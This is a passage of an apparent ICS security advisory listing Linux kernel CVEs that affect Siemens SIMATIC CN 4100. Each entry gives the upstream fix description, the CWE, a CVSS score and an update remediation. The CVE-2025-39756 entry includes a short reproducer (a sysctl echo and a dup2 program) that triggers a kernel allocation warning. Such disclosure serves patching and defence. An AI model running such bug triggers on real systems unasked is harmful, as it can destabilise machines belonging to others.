String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39714\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: usbtv: Lock resolution while streaming When an program is streaming (ffplay) and another program (qv4l2) changes the TV standard from NTSC to PAL, the kernel crashes due to trying to copy to unmapped memory. Changing from NTSC to PAL increases the resolution in the usbtv struct, but the video plane buffer isn't adjusted, so it overflows. [hverkuil: call vb2_is_busy instead of vb2_is_streaming]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39715\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise gateway LWS calls to probe user read access We use load and stbys,e instructions to trigger memory reference interruptions without writing to memory. Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel and gateway page execute at privilege level 0, so this code never triggers a read access interruption. Thus, it is currently possible for user code to execute a LWS compare and swap operation at an address that is read protected at privilege level 3 (PRIV_USER). Fix this by probing read access rights at privilege level 3 and branching to lws_fault if access isn't allowed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39716\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: parisc: Revise __get_user() to probe user read access Because of the way read access support is implemented, read access interruptions are only triggered at privilege levels 2 and 3. The kernel executes at privilege level 0, so __get_user() never triggers a read access interruption (code 26). Thus, it is currently possible for user code to access a read protected address via a system call. Fix this by probing read access rights at privilege level 3 (PRIV_USER) and setting __gu_err to -EFAULT (-14) if access isn't allowed. Note the cmpiclr instruction does a 32-bit compare because COND macro doesn't work inside asm.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens 